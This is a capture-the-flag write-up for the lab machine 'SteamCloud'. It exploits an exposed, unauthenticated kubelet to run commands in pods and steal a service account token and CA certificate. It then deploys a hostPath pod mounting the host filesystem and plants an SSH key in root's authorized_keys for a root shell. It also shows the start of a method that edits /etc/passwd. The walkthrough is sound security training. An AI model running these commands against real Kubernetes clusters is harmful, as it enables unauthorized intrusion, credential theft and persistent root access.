SteamCloud
13 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.133
- Release: 14 / 02 / 2022
Port scanning
# Nmap 7.92 scan as: nmap -sC -sV -o nmap/targeted 10.10.11.133 -p 22,80,2379,2380,8443,10249,10250,10256
Nmap scan report for 10.10.11.133
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
2379/tcp open ssl/etcd-client?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-02-15T05:29:52
|_Not valid after: 2023-02-15T05:29:53
2380/tcp open ssl/etcd-server?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2022-02-15T05:29:52
|_Not valid after: 2023-02-15T05:29:53
8443/tcp open ssl/https-alt
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2022-02-14T05:29:51
|_Not valid after: 2025-02-14T05:29:51
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 5a6a8b48-3d98-4785-b57d-e3709d704122
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 9cead1c7-5b3e-4a65-ad2d-6546af46ffed
| X-Kubernetes-Pf-Prioritylevel-Uid: bd47e3d9-c067-4d0b-9798-c5f06eac806d
| Date:
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: f8f45295-4ea9-4170-8f7e-ea585f749415
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 9cead1c7-5b3e-4a65-ad2d-6546af46ffed
| X-Kubernetes-Pf-Prioritylevel-Uid: bd47e3d9-c067-4d0b-9798-c5f06eac806d
| Date:
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 7e7ce172-f7f7-4615-98de-ef8846cb2020
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 9cead1c7-5b3e-4a65-ad2d-6546af46ffed
| X-Kubernetes-Pf-Prioritylevel-Uid: bd47e3d9-c067-4d0b-9798-c5f06eac806d
| Date:
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=steamcloud@1644902997
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2022-02-15T04:29:57
|_Not valid after: 2023-02-15T04:29:57
|_ssl-date: TLS randomness does not represent time
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 102.14 seconds
This machine has ports 22 (SSH), 80 (HTTP), 2379 (etcd-client
), 2380 (etcd-server
), 8443 (kube-apiserver
), 10249 (kubelet
), 10250 (kubelet
) and 10256 (kube-proxy
) open.
Port reconnaissance
Although port 80 is open, it has a default instalation of nginx. Nothing more.
Looking at the ports that are exposed, we can conclude that the machine has a Kubernetes cluster. HackTricks will be useful to compromise this machine.
We can see its version querying kube-apiserver
:
$ curl -k https://10.10.11.133:8443
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {
},
"code": 403
}
$ curl -k https://10.10.11.133:8443/version
{
"major": "1",
"minor": "22",
"gitVersion": "v1.22.3",
"gitCommit": "c92036820499fedefec0f847e2054d824aea6cd1",
"gitTreeState": "clean",
"buildDate": "2021-10-27T18:35:25Z",
"goVersion": "go1.16.9",
"compiler": "gc",
"platform": "linux/amd64"
}
Interacting with the kubelet
We see that kubelet
is exposed. This entity runs on every node of the cluster (i.e. it is running in the machine, because the cluster is likely to be single-node) and controls every Pod
.
If this service is exposed, it is likely to be vulnerable to unauthenticated RCE (Remote Code Execution). We can test it using a request like this one:
$ curl -sk https://10.10.11.133:10250/pods | jq | head
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "kube-apiserver-steamcloud",
"namespace": "kube-system",
"selfLink": "/api/v1/namespaces/kube-system/pods/kube-apiserver-steamcloud",
We get a successful response, so we can use talk to kubelet
without authentication.
We can list all running Pods
from the kubelet
:
$ curl -sk https://10.10.11.133:10250/runningpods/ | jq '.items[].metadata.name'
"etcd-steamcloud"
"nginx"
"storage-provisioner"
"kube-scheduler-steamcloud"
"kube-apiserver-steamcloud"
"coredns-78fcd69978-hrszm"
"kube-proxy-dnxrw"
"kube-controller-manager-steamcloud"
There is a way to execute commands inside a Pod
. Using curl
we should do it like this:
$ curl -kG 'https://10.10.11.133:10250/exec/default/nginx/nginx' -d 'stdin=1' -d 'output=1' -d 'tty=1' -d 'command=whoami'
Upgrade request required
But it does not work because it requires an upgrade to WebSockets, and curl
does not support it.
However, we can install kubeletctl
from the releases page or compiling the Go project. Then, we can scan all Pods
to see if they are vulnerable to RCE:
$ ./kubeletctl scan rce --server 10.10.11.133
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Node with pods vulnerable to RCE β
βββββ¬βββββββββββββββ¬βββββββββββββββββββββββββββββββββββββ¬ββββββββββββββ¬ββββββββββββββββββββββββββ¬ββββββ€
β β NODE IP β PODS β NAMESPACE β CONTAINERS β RCE β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β β β β β β RUN β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 1 β 10.10.11.133 β nginx β default β nginx β + β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 2 β β etcd-steamcloud β kube-system β etcd β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 3 β β kube-scheduler-steamcloud β kube-system β kube-scheduler β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 4 β β coredns-78fcd69978-hrszm β kube-system β coredns β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 5 β β kube-apiserver-steamcloud β kube-system β kube-apiserver β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 6 β β kube-controller-manager-steamcloud β kube-system β kube-controller-manager β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 7 β β storage-provisioner β kube-system β storage-provisioner β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 8 β β kube-proxy-dnxrw β kube-system β kube-proxy β + β
βββββ΄βββββββββββββββ΄βββββββββββββββββββββββββββββββββββββ΄ββββββββββββββ΄ββββββββββββββββββββββββββ΄ββββββ
The above beautiful table shows that the Pod
called nginx
is vulnerable to RCE. Hence we can run commands inside the container nginx
of the Pod
called nginx
as well:
$ ./kubeletctl run 'ls /' --namespace default --pod nginx --container nginx --server 10.10.11.133
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
There is no need to use a reverse shell this time. We can read the user.txt
flag from inside this container:
$ ./kubeletctl run 'ls /root' --namespace default --pod nginx --container nginx --server 10.10.11.133
user.txt
$ ./kubeletctl run 'cat /root/user.txt' --namespace default --pod nginx --container nginx --server 10.10.11.133
417b04ea8221ce9aa994877243e5fd98
Privilege escalation
Now that we can run commands inside a container of a Pod
, we can take the token and the client certificate needed to authenticate to kube-apiserver
(port 8443):
$ ./kubeletctl run 'cat /run/secrets/kubernetes.io/serviceaccount/token' --namespace default --pod nginx --container nginx --server 10.10.11.133
eyJhbGciOiJSUzI1NiIsImtpZCI6IkJwZHBDYnJzNUptVHlVd1YxeGlzR2lGYlpQX2xYUzlGY3k0MFd5MGo5Zk0ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9
jYWwiXSwiZXhwIjoxNjc2NDc0MTk1LCJpYXQiOjE2NDQ5MzgxOTUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY
2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImEzNmU2NGZkLTlhZGEtNDcwOC1iMDEyLTM0N2VhMmVjOTliMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInV
pZCI6Ijk5MjUzMjU0LThiNjMtNDZiMi04MWUwLWY2ODQ1NzkzODgzMiJ9LCJ3YXJuYWZ0ZXIiOjE2NDQ5NDE4MDJ9LCJuYmYiOjE2NDQ5MzgxOTUsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhd
Wx0OmRlZmF1bHQifQ.Xft1ybVzOOWCwsN7JwjoUxEFoAgOKSMU9MRBuwRGT5r2ruqX7ZcDnyMV3xe0Zcx-JGKPz3QY0EfdapLeldo_7_PfT3pXWZ1YkIuExpGSId9hHhIUXb89lc9IccH1mXkf3tHHEXjf9HYF
pYCR6yRab8pcrgcpWZPtGWSIKmZC7D9YfkFerfKGT06c69YXhbdhOgXATEPu9cX6ihBCjHcu_zm8xqY1JDA4zjLj-dWy6lcwo8Q_FKR3irDr8DZP6t-SmL7yKeGL1IOSirY1rDazwG8R0YG2Xk0n-Ff-moo5B3
Kg4Jv-Cb74wD2bUVb2OeOpNKAD7WGynKTqf_JVa2FHTQ
$ token=$(./kubeletctl run 'cat /run/secrets/kubernetes.io/serviceaccount/token' --namespace default --pod nginx --container nginx --server 10.10.11.133)
$ ./kubeletctl run 'cat /run/secrets/kubernetes.io/serviceaccount/ca.crt' --namespace default --pod nginx --container nginx --server 10.10.11.133 | tee ca.crt
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoa
YRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0M
HLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7
deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqG
VeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9Bpisll
hnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o
1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUm
lt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyO
DGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+
9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/D
xpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0
JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMz
kf2eZIBNMp0TFg==
-----END CERTIFICATE-----
To talk with the kube-apiserver
we can use kubectl
(not kubeletctl
) providing the URL of the kube-apiserver
, the token and the client certificate.
The idea is to create a Pod
with a volume that mounts the host’s file system, so that we can execute commands inside the Pod
(with kubeletctl
unauthenticated RCE) and read files from the server (such as /root/root.txt
).
This is the manifest of the Pod
I will deploy:
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
containers:
- name: escaper
image: nginx:1.14.2
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /
type: Directory
This Pod
will mount /
from the host machine into /var/log/host
inside the container (we could have chosen another directory).
We can apply it using kubectl
:
$ kubectl --token=$token --certificate-authority=./ca.crt apply -f escaper.yaml -n default -s https://10.10.11.133:8443
pod/escaper created
Now we have deployed it in the Kubernetes cluster. We can check it with kubeletctl
:
$ ./kubeletctl scan rce --server 10.10.11.133
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Node with pods vulnerable to RCE β
βββββ¬βββββββββββββββ¬βββββββββββββββββββββββββββββββββββββ¬ββββββββββββββ¬ββββββββββββββββββββββββββ¬ββββββ€
β β NODE IP β PODS β NAMESPACE β CONTAINERS β RCE β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β β β β β β RUN β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 1 β 10.10.11.133 β nginx β default β nginx β + β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 2 β β etcd-steamcloud β kube-system β etcd β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 3 β β kube-scheduler-steamcloud β kube-system β kube-scheduler β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 4 β β coredns-78fcd69978-hrszm β kube-system β coredns β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 5 β β kube-apiserver-steamcloud β kube-system β kube-apiserver β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 6 β β kube-controller-manager-steamcloud β kube-system β kube-controller-manager β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 7 β β storage-provisioner β kube-system β storage-provisioner β - β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 8 β β kube-proxy-dnxrw β kube-system β kube-proxy β + β
βββββΌβββββββββββββββΌβββββββββββββββββββββββββββββββββββββΌββββββββββββββΌββββββββββββββββββββββββββΌββββββ€
β 9 β β escaper β default β escaper β + β
βββββ΄βββββββββββββββ΄βββββββββββββββββββββββββββββββββββββ΄ββββββββββββββ΄ββββββββββββββββββββββββββ΄ββββββ
Now we can run commands on this new container:
$ ./kubeletctl run 'ls -la --time-style=%2b /var/log/host' --namespace default --pod escaper --container escaper --server 10.10.11.133
total 68
drwxr-xr-x 18 root root 4096 .
drwxr-xr-x 1 root root 4096 ..
lrwxrwxrwx 1 root root 7 bin -> usr/bin
drwxr-xr-x 3 root root 4096 boot
drwxr-xr-x 16 root root 3080 dev
drwxr-xr-x 75 root root 4096 etc
drwxr-xr-x 3 root root 4096 home
lrwxrwxrwx 1 root root 31 initrd.img -> boot/initrd.img-4.19.0-18-amd64
lrwxrwxrwx 1 root root 31 initrd.img.old -> boot/initrd.img-4.19.0-14-amd64
lrwxrwxrwx 1 root root 7 lib -> usr/lib
lrwxrwxrwx 1 root root 9 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 libx32 -> usr/libx32
drwx------ 2 root root 16384 lost+found
drwxr-xr-x 3 root root 4096 media
drwxr-xr-x 2 root root 4096 mnt
drwxr-xr-x 5 root root 4096 opt
dr-xr-xr-x 210 root root 0 proc
drwx------ 4 root root 4096 root
drwxr-xr-x 20 root root 620 run
lrwxrwxrwx 1 root root 8 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 srv
dr-xr-xr-x 13 root root 0 sys
drwxrwxrwt 10 root root 4096 tmp
drwxr-xr-x 14 root root 4096 usr
drwxr-xr-x 11 root root 4096 var
lrwxrwxrwx 1 root root 28 vmlinuz -> boot/vmlinuz-4.19.0-18-amd64
lrwxrwxrwx 1 root root 28 vmlinuz.old -> boot/vmlinuz-4.19.0-14-amd64
We see that it is the file system of the machine:
$ ./kubeletctl run 'cat /var/log/host/etc/hostname' --namespace default --pod escaper --container escaper --server 10.10.11.133
steamcloud
And thus, we can read the root.txt
flag:
$ ./kubeletctl run 'ls -la --time-style=%2b /var/log/host/root' --namespace default --pod escaper --container escaper --server 10.10.11.133
total 28
drwx------ 4 root root 4096 .
drwxr-xr-x 18 root root 4096 ..
lrwxrwxrwx 1 root root 9 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 .bashrc
drwxr-x--- 3 root root 4096 .kube
drwxr-xr-x 10 root root 4096 .minikube
-rw-r--r-- 1 root root 148 .profile
-rw-r--r-- 1 root root 33 root.txt
$ ./kubeletctl run 'cat /var/log/host/root/root.txt' --namespace default --pod escaper --container escaper --server 10.10.11.133
61f3bca8afe7785058a1be1972592526
Obtaining a shell as root
I found two ways to get a shell as root
:
- Add an SSH public key into
/root/.ssh/authorized_keys
. - Modify passwords for
user
androot
inside/etc/passwd
.
For both methods, we must take into account that we cannot run commands using special characters such as quotes ('
, "
), pipes (|
), redirections (>
, >>
, <
, <<<
) or output execution ($(...)
, `...`
) because of the way we have RCE.
Fortunately, we can use sed
to replace strings inside a file, and we can omit quotes if our substitution does not contain spaces or any of the special characters above.
My initial idea was to copy /etc/hosts
(inside the volume mount) and modify it:
$ ./kubeletctl run 'cp /var/log/host/etc/hosts /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
127.0.0.1 localhost
127.0.1.1 steamcloud
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 host.minikube.internal
10.10.11.133 control-plane.minikube.internal
Now we can start removing lines of the file:
$ ./kubeletctl run 'sed -i s/f.*//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'sed -i s/:.*//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'sed -i s/127.*//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
# The
10.10.11.133 control-plane.minikube.internal
At this point, to remove the first line, we must use ..The
to match it using RegEx, because #
is a special character:
$ ./kubeletctl run 'sed -i s/..The//g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
10.10.11.133 control-plane.minikube.internal
Now we can modify 10.10.11.133
by ssh-rsa
and control-plane.minikube.internal
by the public key:
$ ./kubeletctl run 'sed -i s/10.10.11.133/ssh-rsa/g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
ssh-rsa control-plane.minikube.internal
We can generate a pair of SSH keys using ssh-keygen
:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:7aEfZ2kv6cZXqHKtyYKPtuPW7CTkAl4OqLYkkXd9ehY
The key's randomart image is:
+---[RSA 3072]----+
| |
| |
| |
| . . . . |
|o o + o E o . |
| + o = = + . .. .|
|oo . + *++.=+ . |
|+ . +===*Boo |
| . ++=+*=+. |
+----[SHA256]-----+
$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r/Dohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn/7FOQbAyeKko1BdJwlTlrxaNSo+WyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf+PsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji/y1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq/qIqQy9xVwwl2KJ3df/5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot+k0KxaLZpY+DxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k=
In order to copy this key, we must encode the +
(%2b
) and the =
(%3d
) using URL encoding because of the nature of the RCE we have. Furthermore, all slashes must be escaped because sed
also uses slashes to distinguish the old and new strings. We can also encode /
(%2f
) just in case:
$ cat id_rsa.pub | sed 's/+/%2b/g' | sed 's/\//\\%2f/g' | sed 's/=/%3d/g'
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r\%2fDohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn\%2f7FOQbAyeKko1BdJwlTlrxaNSo%2bWyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf%2bPsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji\%2fy1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq\%2fqIqQy9xVwwl2KJ3df\%2f5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot%2bk0KxaLZpY%2bDxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k%3d
$ ./kubeletctl run 'sed -i s/control-plane.minikube.internalAAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r\%2fDohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn\%2f7FOQbAyeKko1BdJwlTlrxaNSo%2bWyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf%2bPsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji\%2fy1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq\%2fqIqQy9xVwwl2KJ3df\%2f5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot%2bk0KxaLZpY%2bDxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k%3d/g /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
Now that we have finished the string replacements we obtain a file that is valid as authorized_keys
:
$ ./kubeletctl run 'cat /var/log/host/tmp/asdf' --namespace default --pod escaper --container escaper --server 10.10.11.133
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt7J5RU3r/Dohol6WM7YjW5SAhGyGsD9yALiXIe7CJr7l5ZhQbhw7JOGKZQxPVQpRNa3eCTu632VcqJ6Rnrn/7FOQbAyeKko1BdJwlTlrxaNSo+WyT0pjuCIFFV88kHDqwZ6OpaIIZhIkHjH35ZPfhGQJJ2WMidVM3mcx9384j2XNI2zo8R1l7jIC4dKLHUifM2jt4Yxr2JyuBJgOlAdre57mI63PKJkbUz3wtAYLabs3BYtcXHEGj1OGGWwf+PsyatCdhMu72ZlwZQRs4RVPw26hhiwrdRDVyreJ3ceK8k1yDf9kHwqNOA8qa82oDdXLJWjfBxvQwgJTSeFqtmdpio5yXfGoSKU1Eji/y1XA8Nx1TfT23xHaCIX8VWYtPJ75GvbTr8fXxqgq/qIqQy9xVwwl2KJ3df/5vobh4vYsU6O9lsGROSpkMG5tQ3W9dkWjAccWHzvXHrcot+k0KxaLZpY+DxmnxInlkum6pwjDRXyNPsCooikIiSTD7pJjj94k=
Then we create a directory called .ssh
and add this file as authorized_keys
:
$ ./kubeletctl run 'mkdir /var/log/host/root/.ssh' --namespace default --pod escaper --container escaper --server 10.10.11.133
$ ./kubeletctl run 'cp /var/log/host/tmp/asdf /var/log/host/root/.ssh/authorized_keys' --namespace default --pod escaper --container escaper --server 10.10.11.133
And we have a shell as root
:
$ ssh -i id_rsa root@10.10.11.133
root@steamcloud:~# cat root.txt
61f3bca8afe7785058a1be1972592526
The second method is a bit simpler. We have this /etc/passwd
file:
$ ./kubeletctl run 'cat /var/log/host/etc/passwd' --namespace default --pod escaper --container escaper --server 10.10.11.133
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
